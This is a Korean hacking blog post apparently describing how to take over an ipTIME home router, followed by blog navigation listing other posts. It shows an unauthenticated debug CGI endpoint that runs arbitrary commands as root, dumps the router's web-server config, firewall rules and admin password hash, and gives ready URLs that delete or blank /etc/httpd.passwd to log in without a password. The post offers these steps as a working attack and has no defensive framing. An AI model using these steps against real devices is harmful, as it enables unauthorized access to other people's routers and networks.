- 소스 : <iframe width="600" height="430" name="subwin" src="http://192.168.0.1/nd-bin/netdetect.cgi?flag=nd-report">
- http://192.168.0.1/cgi-bin/timepro.cgi?flag=debug
  는 AUTH를 거치지만,
  http://192.168.0.1/nd-bin/netdetect.cgi?flag=debug 는 거치지 않고 아래창 뜸

      File Name :  [                         ]
   Command Name :  [                         ]
        [Show]

  action이 /cgi-bin/timepro.cgi 지만, netdetect.cgi로 해주고
  input 태그 값인 cmd에 원하는 명령 입력하여 실행!

-----------------------
/var/boa_vh.conf
-----------------------
Port 55555
User root
Group root
ServerAdmin root@localhost
VirtualHost
DocumentRoot /home/httpd
UserDir public_html
DirectoryIndex index.html
KeepAliveMax 100
KeepAliveTimeout 10
MimeTypes /etc/mime.types
DefaultType text/plain
AddType application/x-httpd-cgi cgi
AddType text/html html
ScriptAlias /cgi-bin/ /bin/
ScriptAlias /nd-bin/ /bin/
ScriptAlias /login/ /bin/login/
ScriptAlias /ddns/ /bin/ddns/
ScriptAlias /testbin/ /tmp/
ServerName IPRouter
SinglePostLimit 2097152
Auth /cgi-bin /etc/httpd.passwd
Auth /main /etc/httpd.passwd

-----------------------
/var/firewall_rule
-----------------------
separator:----- Messenger -----:0:
aim:AIM:1:32:nat:app_filter:tcp:0:5190:filter_dnat:0
buddy:버디버디:3:32:nat:app_filter:tcp:0:952:filter_dnat:0:+:32:nat:app_filter:tcp:0:810-819:filter_dnat:0:+:32:nat:app_filter:tcp:0:940-959:filter_dnat:0
icq:ICQ:1:32:nat:app_filter:tcp:0:5190:filter_dnat:0
iman:IMAN(KT):1:32:nat:app_filter:tcp:0:5282:filter_dnat:0
irc:IRC:2:32:nat:app_filter:tcp:0:6660-6669:filter_dnat:0:+:32:nat:app_filter:udp:0:6660-6669:filter_dnat:0
msm:MSN 메신저:3:32:nat:app_filter:tcp:0:1863:filter_dnat:0:+:32:nat:app_filter:tcp:0:6891-6900:filter_dnat:0:+:16:url:messenger.hotmail.com:
nateon:네이트온:2:32:nat:app_filter:tcp:0:5004:filter_dnat:0:+:16:url:prs.nate.com:
tachy:타키(SayClub):1:32:nat:app_filter:tcp:0:6699:filter_dnat:0
separator:-------- P2P --------:0:
edonkey:eDonkey,Pruna,eMule:1:32:nat:app_filter:tcp:0:4661-4662:filter_dnat:0
fileguri:파일구리:1:32:nat:app_filter:tcp:0:9493:filter_dnat:0
guruguru:구루구루:2:32:nat:app_filter:tcp:0:9292:filter_dnat:0:+:32:nat:app_filter:tcp:0:22000-22400:filter_dnat:0
soribard:소리바다:2:32:nat:app_filter:udp:0:7674-7675:filter_dnat:0:+:32:nat:app_filter:udp:0:22321:filter_dnat:0
winmx:WinMX:2:32:nat:app_filter:tcp:0:6699:filter_dnat:0:+:32:nat:app_filter:udp:0:6257:filter_dnat:0
separator:-------- Game -------:0:
diable:디아블로:1:32:nat:app_filter:tcp:0:4000:filter_dnat:0
kartrider:카트라이더:2:32:nat:app_filter:tcp:0:39311:filter_dnat:0:+:32:nat:app_filter:tcp:0:36567:filter_dnat:0
lineage:리니지:2:32:nat:app_filter:tcp:0:1950-2002:filter_dnat:0:+:32:nat:app_filter:tcp:0:2004-2200:filter_dnat:0
mu:뮤:1:32:nat:app_filter:tcp:0:44405:filter_dnat:0

-----------------------
/etc/httpd.passwd
-----------------------
admin:$1S89Y1UUF3Ls:

- echo 명령을 이용하여 httpd.passwd 내용을 "admin::" 로 비번 초기화 시킨 후,
   password 인증 없이 접속!!

- http://192.168.255.1:55555/cgi-bin/timepro.cgi?flag=debug&cmd=rm -f /etc/httpd.passwd
http://192.168.255.1:55555/cgi-bin/timepro.cgi?flag=debug&cmd=cp /etc/httpd.passwd.bak /etc/httpd.passwd
- 잡업 후 복구 해야~

by xcuter

저작자표시 비영리 변경금지

'Neywork' 카테고리의 다른 글

SSL 통신 암호화 과정 (0)	2015.07.28
reverse connection cheat sheet (0)	2015.04.17
BEIST 님이 작성하셨던 특정 proccess packet capture 만들기 (0)	2014.10.07
Network vender Model default password (0)	2014.01.02
윈도우8 애드훅(애드혹, AdHoc) 설정하기 (0)	2013.09.11

Posted by k1rha

2012~Lee sang sup`s Note

'Neywork'에 해당되는 글 6건

SSL 통신 암호화 과정

'Neywork' 카테고리의 다른 글

reverse connection cheat sheet

Reverse Shell Cheat Sheet

Bash

PERL

Python

PHP

Ruby

Netcat

Java

xterm

Further Reading

'Neywork' 카테고리의 다른 글

BEIST 님이 작성하셨던 특정 proccess packet capture 만들기

'Neywork' 카테고리의 다른 글

Network vender Model default password

'Neywork' 카테고리의 다른 글

윈도우8 애드훅(애드혹, AdHoc) 설정하기

윈도우8 애드훅(애드혹, AdHoc) 설정하기

'Neywork' 카테고리의 다른 글

IPTIME 해킹 관련 내용 1

'Neywork' 카테고리의 다른 글

카테고리

공지사항

태그목록

최근에 올라온 글

최근에 달린 댓글

최근에 받은 트랙백

글 보관함

링크

달력

티스토리툴바

« 2024/12 »
일	월	화	수	목	금	토
1	2	3	4	5	6	7
8	9	10	11	12	13	14
15	16	17	18	19	20	21
22	23	24	25	26	27	28
29	30	31